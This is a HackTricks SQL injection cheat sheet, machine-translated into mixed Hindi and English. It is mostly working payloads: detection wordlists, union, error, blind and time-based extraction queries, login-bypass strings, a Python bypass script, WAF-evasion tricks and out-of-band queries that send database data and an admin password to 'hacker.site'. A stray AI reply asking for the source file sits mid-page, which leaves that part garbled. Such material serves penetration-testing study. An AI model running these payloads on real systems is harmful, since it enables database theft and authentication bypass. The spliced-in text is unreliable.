SQL Injection
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
SQL injection क्या है?
एक SQL injection एक security flaw है जो attackers को किसी application की database queries में हस्तक्षेप करने की अनुमति देती है। यह vulnerability attackers को उन डेटा को view, modify, या delete करने में सक्षम बना सकती है जिन तक उन्हें पहुँच नहीं होनी चाहिए, जिसमें अन्य users की जानकारी या application द्वारा एक्सेस किए जाने वाले किसी भी data शामिल है। ऐसे कार्य application’s कार्यक्षमता या सामग्री में स्थायी परिवर्तन कर सकते हैं या यहां तक कि server के compromision या denial of service का कारण बन सकते हैं।
Entry point detection
जब कोई साइट असामान्य server responses के कारण vulnerable to SQL injection (SQLi) दिखाई देती है — खासकर SQLi-related inputs के जवाब में — तो पहला कदम यह समझना है कि कैसे inject data into the query without disrupting it। इसके लिए यह पहचानना आवश्यक है कि वर्तमान context से प्रभावी रूप से कैसे escape from the current context किया जाए। ये कुछ उपयोगी उदाहरण हैं:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
फिर, आपको यह जानना होगा कि query को कैसे ठीक किया जाए ताकि errors न हों। एक query को ठीक करने के लिए आप input डेटा दे सकते हैं ताकि previous query नया डेटा स्वीकार कर ले, या आप बस अपना input डेटा डालकर लाइन के अंत में comment symbol जोड़ दें।
ध्यान दें कि यदि आप error messages देख पाते हैं या यह पहचान सकते हैं कि जब एक query काम कर रही है और जब नहीं, तो यह चरण और भी आसान होगा।
टिप्पणियाँ
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
तार्किक ऑपरेशनों से पुष्टि
SQL injection कमज़ोरी की पुष्टि करने का एक भरोसेमंद तरीका है एक तार्किक ऑपरेशन चलाना और अपेक्षित परिणामों का निरीक्षण करना। उदाहरण के लिए, एक GET parameter जैसे ?username=Peter यदि संशोधित करके ?username=Peter' or '1'='1 करने पर भी वही सामग्री लौटाता है, तो यह SQL injection कमज़ोरी का संकेत है।
इसी तरह, गणितीय ऑपरेशनों का उपयोग भी एक प्रभावी पुष्टि तकनीक के रूप में काम करता है। उदाहरण के लिए, यदि ?id=1 और ?id=2-1 एक्सेस करने पर समान परिणाम देते हैं, तो यह SQL injection का संकेत है।
तार्किक ऑपरेशन से पुष्टि दिखाने वाले उदाहरण:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
यह शब्द-सूची प्रस्तावित तरीके से SQLinjections की पुष्टि करने के लिए बनाई गई थी:
सच्ची SQLi
``` true 1 1>0 2-1 0+1 1*1 1%2 1 & 1 1&1 1 && 2 1&&2 -1 || 1 -1||1 -1 oR 1=1 1 aND 1=1 (1)oR(1=1) (1)aND(1=1) -1/**/oR/**/1=1 1/**/aND/**/1=1 1' 1'>'0 2'-'1 0'+'1 1'*'1 1'%'2 1'&'1'='1 1'&&'2'='1 -1'||'1'='1 -1'oR'1'='1 1'aND'1'='1 1" 1">"0 2"-"1 0"+"1 1"*"1 1"%"2 1"&"1"="1 1"&&"2"="1 -1"||"1"="1 -1"oR"1"="1 1"aND"1"="1 1` 1`>`0 2`-`1 0`+`1 1`*`1 1`%`2 1`&`1`=`1 1`&&`2`=`1 -1`||`1`=`1 -1`oR`1`=`1 1`aND`1`=`1 1')>('0 2')-('1 0')+('1 1')*('1 1')%('2 1')&'1'=('1 1')&&'1'=('1 -1')||'1'=('1 -1')oR'1'=('1 1')aND'1'=('1 1")>("0 2")-("1 0")+("1 1")*("1 1")%("2 1")&"1"=("1 1")&&"1"=("1 -1")||"1"=("1 -1")oR"1"=("1 1")aND"1"=("1 1`)>(`0 2`)-(`1 0`)+(`1 1`)*(`1 1`)%(`2 1`)&`1`=(`1 1`)&&`1`=(`1 -1`)||`1`=(`1 -1`)oR`1`=(`1 1`)aND`1`=(`1 ```समय के साथ पुष्टि
कुछ मामलों में आप जिस पृष्ठ का परीक्षण कर रहे हैं उस पर आप कोई बदलाव नहीं देखेंगे। इसलिए, discover blind SQL injections खोजने का एक अच्छा तरीका यह है कि DB को ऐसे कार्य कराए जाएँ जो पृष्ठ के लोड होने के समय पर प्रभाव डालें.\
इसलिए, हम SQL query में concat करके एक ऐसा ऑपरेशन जोड़ने जा रहे हैं जो पूरा होने में बहुत समय लेगा:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
कुछ मामलों में sleep functions won’t be allowed। फिर, उन functions का उपयोग करने के बजाय आप query को कई सेकंड लेने वाले जटिल ऑपरेशन्स करवा सकते हैं। इन तकनीकों के उदाहरण प्रत्येक टेक्नोलॉजी पर अलग से बताए जाएंगे (यदि कोई हों)।
बैक-एंड की पहचान
बैक-एंड की पहचान करने का सबसे अच्छा तरीका अलग-अलग बैक-एंड्स के functions चलाकर देखना है। आप पिछले सेक्शन के sleep functions का उपयोग कर सकते हैं या इनका उपयोग कर सकते हैं (table from payloadsallthethings:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
Also, if you have access to the output of the query, you could make it print the version of the database.
Tip
A continuation we are going to discuss different methods to exploit different kinds of SQL Injection. We will use MySQL as example.
Identifying with PortSwigger
SQL injection cheat sheet | Web Security Academy
Exploiting Union Based
Detecting number of columns
If you can see the output of the query this is the best way to exploit it.
First of all, wee need to find out the number of columns the initial request is returning. This is because both queries must return the same number of columns.
Two methods are typically used for this purpose:
Order/Group by
To determine the number of columns in a query, incrementally adjust the number used in ORDER BY or GROUP BY clauses until a false response is received. Despite the distinct functionalities of GROUP BY and ORDER BY within SQL, both can be utilized identically for ascertaining the query’s column count.
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
Select अधिक से अधिक null values तब तक करें जब तक query सही न हो:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
आपको nullvalues का उपयोग करना चाहिए क्योंकि कुछ मामलों में query के दोनों पक्षों के columns का type समान होना चाहिए और null हर स्थिति में मान्य है.
database names, table names और column names निकालें
अगले उदाहरणों में हम सभी databases के नाम, किसी database की table का नाम, और table के column नाम प्राप्त करने जा रहे हैं:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
हर अलग डेटाबेस पर इस डेटा की खोज करने का तरीका अलग हो सकता है, लेकिन यह पद्धति हमेशा समान रहती है.
Hidden Union Based का शोषण
जब किसी query का output दिखाई देता है, लेकिन union-based injection हासिल करना संभव नहीं लगता, तो यह एक hidden union-based injection की उपस्थिति का संकेत है। यह स्थिति अक्सर blind injection में बदल जाती है। एक blind injection को union-based में बदलने के लिए backend पर चलने वाले execution query का पता लगाना जरूरी होता है।
यह blind injection techniques और आपके target Database Management System (DBMS) के specific default tables का उपयोग करके किया जा सकता है। इन default tables को समझने के लिए target DBMS की documentation देखना सलाह दी जाती है।
एक बार query निकाल ली जाने पर, मूल query को सुरक्षित रूप से बंद करने के लिए अपने payload को अनुकूलित करना आवश्यक है। उसके बाद, अपने payload में एक union query जोड़ी जाती है, जिससे नये उपलब्ध union-based injection का शोषण संभव हो जाता है।
और अधिक विस्तृत जानकारी के लिए, पूरा लेख देखें: Healing Blind Injections.
Error based का शोषण
यदि किसी कारणवश आप किसी query का output cannot देख पाते हैं, पर आप see the error messages कर सकते हैं, तो आप इन error messages का उपयोग करके database से डेटा ex-filtrate करवा सकते हैं.
Union Based exploitation के समान flow का पालन करके आप DB को dump कर सकते हैं।
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLi का शोषण
इस मामले में आप क्वेरी के परिणाम या एरर नहीं देख सकते, लेकिन आप पहचान सकते हैं कि क्वेरी एक true या false प्रतिक्रिया लौटाती है क्योंकि पेज पर सामग्री अलग होती है.
इस स्थिति में, आप उस व्यवहार का दुरुपयोग करके डेटाबेस को एक-एक अक्षर करके निकाल सकते हैं:
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
Exploiting Error Blind SQLi
यह वही मामला है जैसा पहले लेकिन क्वेरी से मिलने वाले true/false उत्तर के बीच अंतर करने के बजाय आप भेद कर सकते हैं कि SQL query में कोई error है या नहीं (शायद HTTP server crash होने के कारण)। इसलिए, इस मामले में आप हर बार जब आप char सही अनुमान लगाते हैं तब SQLerror को मजबूर कर सकते हैं:
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
Exploiting Time Based SQLi
इस मामले में पेज के context के आधार पर query के response को अलग करने का कोई तरीका मौजूद नहीं है। लेकिन, अगर guessed character सही है तो आप पेज को लोड होने में अधिक समय लेने के लिए मजबूर कर सकते हैं। हमने पहले भी इस technique को उपयोग में देखा है ताकि confirm a SQLi vuln.
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
Stacked Queries
आप stacked queries का उपयोग करके execute multiple queries in succession कर सकते हैं। ध्यान दें कि जबकि subsequent queries निष्पादित की जाती हैं, तब भी results not returned to the application होते हैं। इसलिए यह तकनीक मुख्य रूप से blind vulnerabilities के संदर्भ में उपयोगी होती है जहाँ आप दूसरे query का उपयोग कर के एक DNS lookup, conditional error, या time delay ट्रिगर कर सकते हैं।
Oracle stacked queries को सपोर्ट नहीं करता। MySQL, Microsoft और PostgreSQL इन्हें सपोर्ट करते हैं: QUERY-1-HERE; QUERY-2-HERE
Out of band Exploitation
यदि no-other exploitation method worked, तो आप कोशिश कर सकते हैं कि database ex-filtrate कर के जानकारी को आपके नियंत्रित किसी external host पर भेज दिया जाए। उदाहरण के लिए, DNS queries के माध्यम से:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
आउट-ऑफ-बैंड data exfiltration के माध्यम से XXE
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
Automated Exploitation
SQLi vulnerability को exploit करने के लिए SQLMap Cheatsheet देखें और sqlmap का उपयोग करें।
Tech specific info
हमने पहले ही SQL Injection vulnerability को exploit करने के सभी तरीकों पर चर्चा कर ली है। इस किताब में डेटाबेस तकनीक-निर्भर और कुछ अतिरिक्त ट्रिक्स देखें:
या आप MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL से संबंधित कई ट्रिक्स https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection में पाएंगे
Authentication bypass
लॉगिन फ़ंक्शनलिटी को बाईपास करने के लिए आजमाने की सूची:
Raw hash authentication Bypass
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
यह क्वेरी उस कमजोरी को दर्शाती है जब MD5 को raw output के लिए true के साथ प्रमाणीकरण जाँचों में उपयोग किया जाता है, जिससे सिस्टम SQL injection के प्रति संवेदनशील बन जाता है। हमलावर इस कमजोरी का फायदा उठाकर ऐसे इनपुट तैयार कर सकते हैं जो हैश किए जाने पर अप्रत्याशित SQL कमांड के हिस्से उत्पन्न करते हैं, जिससे अनधिकृत पहुँच हो सकती है।
md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!
Injected hash authentication Bypass
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
अनुशंसित सूची:
आपको सूची की प्रत्येक पंक्ति को username के रूप में उपयोग करना चाहिए और password हमेशा होना चाहिए: Pass1234.
(ये payloads इस सेक्शन की शुरुआत में उल्लेखित बड़ी सूची में भी शामिल हैं)
GBK Authentication Bypass
यदि ’ को escape किया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ’ को escape किया जाता है तो यह बन जाएगा: 0xA80x5c0x27 (╘’)
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Python स्क्रिप्ट:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
Polyglot injection (multicontext)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
इंसर्ट स्टेटमेंट
मौजूदा ऑब्जेक्ट/यूजर का पासवर्ड बदलें
ऐसा करने के लिए आपको कुछ बदलते हुए “master object” के नाम से एक नया ऑब्जेक्ट बनाना चाहिए (यूज़र्स के मामले में सम्भवतः admin) :
- निम्न नाम वाला user बनाएं: AdMIn (uppercase & lowercase letters)
- निम्न नाम वाला user बनाएं: admin=
- SQL Truncation Attack (जब username या email में किसी तरह की length limit हो) –> निम्न नाम वाला user बनाएं: admin [a lot of spaces] a
SQL Truncation Attack
यदि database vulnerable है और username के लिए अधिकतम अक्षरों की संख्या उदाहरण के लिए 30 है और आप user admin की नकल करना चाहते हैं, तो एक username बनाइए: “admin [30 spaces] a” और कोई भी password डालिए।
Database यह check करेगा कि दिया गया username database के अंदर exists करता है या नहीं। यदि नहीं, तो यह username को max allowed number of characters तक cut कर देगा (इस मामले में: “admin [25 spaces]”) और फिर यह स्वचालित रूप से अंत के सभी spaces हटा कर database के अंदर user “admin” को नए password के साथ अपडेट कर देगा (कुछ error दिख सकता है पर इसका मतलब यह नहीं कि यह काम नहीं किया)।
More info: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
Note: This attack will no longer work as described above in latest MySQL installations. While comparisons still ignore trailing whitespace by default, attempting to insert a string that is longer than the length of a field will result in an error, and the insertion will fail. For more information about about this check: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL Insert समय-आधारित जाँच
VALUES statement से बाहर निकलने के लिए आप जितने चाहें उतने ','','' जोड़ें। यदि delay निष्पादित होता है, तो आपके पास एक SQLInjection है।
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQL में ON DUPLICATE KEY UPDATE क्लॉज़ का उपयोग उस कार्रवाई को निर्दिष्ट करने के लिए किया जाता है जिसे डेटाबेस को तब करना चाहिए जब किसी पंक्ति को insert करने का प्रयास ऐसा हो जिससे UNIQUE index या PRIMARY KEY में duplicate value हो जाए। निम्न उदाहरण दिखाता है कि इस फीचर का उपयोग कैसे एक administrator account के password को बदलने के लिए किया जा सकता है:
Example Payload Injection:
An injection payload निम्नलिखित तरीके से तैयार किया जा सकता है, जहाँ दो rows को users table में insert करने का प्रयास किया जाता है। पहली row एक decoy है, और दूसरी row मौजूदा administrator के email को target करती है ताकि password update किया जा सके:
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
यह इस प्रकार काम करता है:
- क्वेरी दो rows insert करने का प्रयास करती है: एक
generic_user@example.comके लिए और दूसरीadmin_generic@example.comके लिए। - यदि
admin_generic@example.comके लिए row पहले से मौजूद है, तोON DUPLICATE KEY UPDATEclause trigger होता है, जो MySQL को मौजूदा row केpasswordफ़ील्ड को “bcrypt_hash_of_newpassword” में अपडेट करने का निर्देश देता है। - परिणामस्वरूप, प्रमाणीकरण का प्रयास
admin_generic@example.comका उपयोग करके किया जा सकता है और पासवर्ड वह होगा जो bcrypt hash से मेल खाता है (“bcrypt_hash_of_newpassword” नए पासवर्ड का bcrypt hash दर्शाता है, जिसे इच्छित पासवर्ड के वास्तविक hash से प्रतिस्थापित किया जाना चाहिए)।
जानकारी निकालें
एक ही समय में 2 accounts बनाना
नया user बनाने की कोशिश करते समय username, password और email की आवश्यकता होती है:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
दशमलव या हेक्साडेसिमल का उपयोग
इस तकनीक से आप केवल 1 अकाउंट बनाकर जानकारी निकाल सकते हैं। ध्यान देने योग्य बात यह है कि आपको कुछ भी comment करने की आवश्यकता नहीं है।
hex2dec और substr का उपयोग:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
I don’t have the file contents. Please paste the contents of src/pentesting-web/sql-injection/README.md here — or run a command like:
cat src/pentesting-web/sql-injection/README.md
and paste the output. I will then translate the English text to Hindi per your rules, preserving all markdown, links, tags and paths.
__import__('binascii').unhexlify(hex(215573607263)[2:])
का उपयोग करते हुए hex और replace (और substr):
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
Routed SQL injection
Routed SQL injection एक ऐसी स्थिति है जहाँ injectable query वह नहीं होती जो आउटपुट देती है, बल्कि injectable query का आउटपुट उस query को जाता है जो आउटपुट देती है। (From Paper)
उदाहरण:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF Bypass
No spaces bypass
No Space (%20) - whitespace विकल्पों का उपयोग कर bypass
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - comments का उपयोग करके bypass
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - parenthesis का उपयोग करके bypass
?id=(1)and(1)=(1)--
No commas bypass
No Comma - bypass का उपयोग करके OFFSET, FROM और JOIN
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
सामान्य Bypasses
Blacklist keywords का उपयोग करके — uppercase/lowercase का उपयोग करके bypass करें
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
Blacklist keywords को case-insensitive तरीके से लागू किया गया है — equivalent operator का उपयोग करके bypass किया जा सकता है
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
Scientific Notation WAF bypass
आप इस ट्रिक की अधिक विस्तृत व्याख्या gosecure blog.
बुनियादी तौर पर आप WAF को बायपास करने के लिए scientific notation का अप्रत्याशित तरीकों से उपयोग कर सकते हैं:
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
कॉलम नाम प्रतिबंध को बायपास करें
सबसे पहले ध्यान दें कि अगर मूल क्वेरी और उस टेबल जिसमें आप flag निकालना चाहते हैं के कॉलमों की संख्या समान हो तो आप बस कर सकते हैं: 0 UNION SELECT * FROM flag
यह संभव है कि आप किसी टेबल के तीसरे कॉलम तक उसके नाम का उपयोग किए बिना पहुँच सकें निम्नलिखित क्वेरी का उपयोग करके: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, इसलिए एक sqlinjection में यह कुछ इस तरह दिखेगा:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
या comma bypass का उपयोग करके:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
यह ट्रिक https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ से ली गई थी
Column/tablename injection in SELECT list via subqueries
यदि उपयोगकर्ता इनपुट को SELECT list या table/column identifiers में concatenated किया जाता है, तो prepared statements मदद नहीं करेंगे क्योंकि bind parameters केवल values की सुरक्षा करते हैं, identifiers की नहीं। एक सामान्य vulnerable pattern है:
// Pseudocode
$fieldname = $_REQUEST['fieldname']; // attacker-controlled
$tablename = $modInstance->table_name; // sometimes also attacker-influenced
$q = "SELECT $fieldname FROM $tablename WHERE id=?"; // id is the only bound param
$stmt = $db->pquery($q, [$rec_id]);
Exploitation idea: field position में एक subquery इंजेक्ट करके arbitrary data को exfiltrate करें:
-- Legit
SELECT user_name FROM vte_users WHERE id=1;
-- Injected subquery to extract a sensitive value (e.g., password reset token)
SELECT (SELECT token FROM vte_userauthtoken WHERE userid=1) FROM vte_users WHERE id=1;
Notes:
- यह तब भी काम करता है जब WHERE clause bound parameter का उपयोग करता है, क्योंकि identifier list अभी भी string-concatenated होती है।
- कुछ stacks अतिरिक्त रूप से आपको table name (tablename injection) नियंत्रित करने देते हैं, जिससे cross-table reads सक्षम हो जाते हैं।
- Output sinks चुनी हुई value को HTML/JSON में रिफ्लेक्ट कर सकते हैं, जिससे response से सीधे XSS या token exfiltration संभव हो सकता है।
Mitigations:
- कभी भी user input से identifiers को concatenate न करें। अनुमत column names को एक fixed allow-list से मैप करें और identifiers को सही तरीके से quote करें।
- यदि dynamic table access आवश्यक है, तो इसे एक सीमित सेट तक सीमित करें और server-side पर एक सुरक्षित mapping से resolve करें।
SQLi via AST/filter-to-SQL converters (JSON_VALUE predicates)
कुछ frameworks convert structured filter ASTs into raw SQL boolean fragments (e.g., metadata filters or JSON predicates) और फिर उन fragments को string-concatenate करके बड़े queries बनाते हैं। यदि converter wraps string values as '%s' without escaping, तो user input में एक single quote literal को terminate कर देता है और बाकी भाग SQL के रूप में parsed हो जाता है।
Example pattern (conceptual):
JSON_VALUE(metadata, '$.department') = '<user_value>'
Payload (URL-encoded): %27%20OR%20%271%27%3D%271 → डिकोड: ' OR '1'='1 → शर्त बन जाती है:
JSON_VALUE(metadata, '$.department') = '' OR '1'='1'
ORDER BY / identifier-based SQLi (PDO limitation)
Prepared statements cannot bind identifiers (column or table names). एक आम असुरक्षित पैटर्न यह है कि user-controlled sort parameter लेकर string concatenation से ORDER BY बनाया जाए, कभी-कभी इनपुट को backticks में लपेटकर इसे “sanitize” करने की कोशिश की जाती है। यह अभी भी SQLi को सक्षम बनाता है क्योंकि identifier context attacker-controlled होता है।
कमज़ोर पैटर्न:
$sort = $_POST['sort'];
$q = "SELECT id,item_name FROM items WHERE user_id=? ORDER BY `$sort`";
$stmt = $pdo->prepare($q);
$stmt->execute([$user_id]);
ट्रैफ़िक में संकेत:
- POST में Sort पैरामीटर (अक्सर
sort=column), यह किसी fixed allow-list पर आधारित नहीं होता। sortबदलने से query टूट सकती है या output का क्रम बदल सकता है।
WAF bypass सुझाव देने वाले टूल
GitHub - m4ll0k/Atlas: Quick SQLMap Tamper Suggester \xc2\xb7 GitHub
अन्य गाइड्स
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
Brute-Force डिटेक्शन सूची
Auto_Wordlists/wordlists/sqli.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
संदर्भ
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- https://blog.securelayer7.net/cve-2026-22730-sql-injection-spring-ai-mariadb/
- HTB: Gavel
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।


